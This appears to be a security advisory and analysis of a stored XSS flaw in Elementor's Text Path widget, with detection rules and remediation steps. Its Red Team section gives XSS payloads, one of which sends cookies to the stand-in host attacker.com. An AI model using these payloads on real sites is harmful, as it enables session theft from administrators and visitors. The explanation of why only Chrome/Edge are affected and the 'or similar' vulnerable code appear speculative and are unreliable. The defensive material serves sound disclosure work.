CVE-2025-4566

Executive Summary

CVE-2025-4566 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin for WordPress (versions up to and including 3.30.2). The flaw resides in the Text Path widget, where the data-text DOM element attribute is not properly sanitized or escaped. An authenticated attacker with Contributor-level access or higher can inject arbitrary JavaScript that executes in the browsers of users viewing the compromised page. The attack is limited to Chrome/Edge browsers due to specific DOM attribute handling.

This vulnerability is part of the WordPress ecosystem and affects sites using Elementor as a page builder. No public exploit code or proof-of-concept has been released, and the EPSS score is 0.0%, indicating low active exploitation. However, the risk is elevated for multi-author WordPress sites where Contributor-level accounts exist.

Supply Chain & Package Security

• WordPress Plugin Ecosystem: Elementor is a widely used page builder plugin. The vulnerability is introduced via the plugin’s own code, not via third-party libraries.
• No Package Manager: WordPress plugins are distributed via ZIP files or the WordPress Plugin Directory. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

Threat Level: Medium. The attack requires authentication and user interaction, but the widespread use of Elementor makes it a viable target for phishing or credential theft campaigns.

Deep Dive & Mechanics

The vulnerability exists in the Text Path widget of Elementor. This widget allows users to create text that follows a custom SVG path. The widget uses a data-text attribute on a DOM element to store the user-supplied text.

Root Cause:

• The data-text attribute value is not sanitized or escaped before being rendered in the DOM.
• In Chrome/Edge, the data-* attributes can be used to execute JavaScript via event handlers or by injecting <script> tags when the attribute is later used in innerHTML or similar operations.

Attack Flow:

1. An attacker with Contributor-level access creates or edits a page using the Text Path widget.
2. The attacker injects a malicious payload into the data-text attribute, e.g., <img src=x onerror=alert(1)>.
3. When a victim (admin or visitor) views the page, the browser parses the data-text attribute and executes the injected script.
4. The script can steal cookies, redirect users, or perform actions on behalf of the victim.

Why Chrome/Edge Only:

• Firefox and Safari have stricter handling of data-* attributes and do not execute inline event handlers from them.
• Chrome/Edge allow event handlers in data-* attributes to fire when the attribute is used in certain DOM manipulations.

Vulnerable vs. Patched Code

Vulnerable Code (Elementor <= 3.30.2):

// In widgets/text-path.php or similar
$text = $settings['text'];
echo '<div class="elementor-text-path" data-text="' . $text . '">';

The $text value is directly concatenated into the data-text attribute without escaping.

Patched Code (Expected):

$text = esc_attr( $settings['text'] );
echo '<div class="elementor-text-path" data-text="' . $text . '">';

The esc_attr() function escapes the value for safe use in HTML attributes.

Note: No official patch has been released as of this analysis. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Elementor <= 3.30.2 installed.
• An authenticated account with Contributor-level access or higher.

Steps:

1. Log in to WordPress as a Contributor.
2. Create a new page or edit an existing one.
3. Add the Text Path widget to the page.
4. In the widget settings, set the Text field to:

   <img src=x onerror=alert(document.cookie)>
   

5. Publish the page.
6. Send the page URL to a victim (admin or visitor).
7. When the victim views the page in Chrome/Edge, the JavaScript executes.

Advanced Payload:

<svg onload=fetch('https://attacker.com/steal?cookie='+document.cookie)>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual data-text attribute values in page content.
• Look for Contributor-level accounts creating pages with Elementor Text Path widgets containing suspicious strings.

Prevention:

• Restrict Contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block XSS payloads in data-* attributes.
• Apply the recommended patch (escape data-text with esc_attr()).

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/elementor/widgets/text-path.php (or similar) containing unsanitized data-text output.
• Network: HTTP requests to pages containing data-text attributes with <script>, <img onerror>, or <svg onload> patterns.
• Logs: WordPress audit logs showing Contributor-level users creating pages with Elementor Text Path widgets.
• Browser: Chrome/Edge console errors or unexpected script execution when viewing pages with Text Path widgets.

Detection Engineering

YARA Rule

rule CVE_2025_4566_Elementor_XSS {
    meta:
        description = "Detects unsanitized data-text attribute in Elementor Text Path widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4566"
    strings:
        $vuln_pattern = /data-text\s*=\s*["'][^"']*<(script|img|svg|iframe|on\w+)/i
    condition:
        $vuln_pattern
}

Sigma Rule

title: CVE-2025-4566 Elementor Stored XSS via data-text Attribute
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP responses containing unsanitized data-text attributes in Elementor Text Path widgets
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        response_body|contains: 'data-text='
        response_body|re: 'data-text\s*=\s*["\'][^"\']*<(script|img|svg|iframe|on\w+)'
    condition: selection
falsepositives:
    - Legitimate use of data-text with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4566 Elementor Stored XSS via data-text Attribute"; flow:to_server,established; content:"data-text="; http_client_body; pcre:"/data-text\s*=\s*["\'][^"\']*<(script|img|svg|iframe|on\w+)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Elementor to version 3.30.3 or later once a patch is released.
2. Disable the Text Path widget temporarily by removing or renaming the widget file (/wp-content/plugins/elementor/widgets/text-path.php).
3. Restrict Contributor-level accounts to only trusted users.

Long-Term Fix:

• Apply the code patch shown in the Vulnerable vs. Patched Code section.
• Implement a Content Security Policy (CSP) that blocks inline script execution.

Workarounds:

• Use a WordPress security plugin (e.g., Wordfence) to block XSS payloads.
• Monitor for unauthorized page edits by Contributor-level users.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert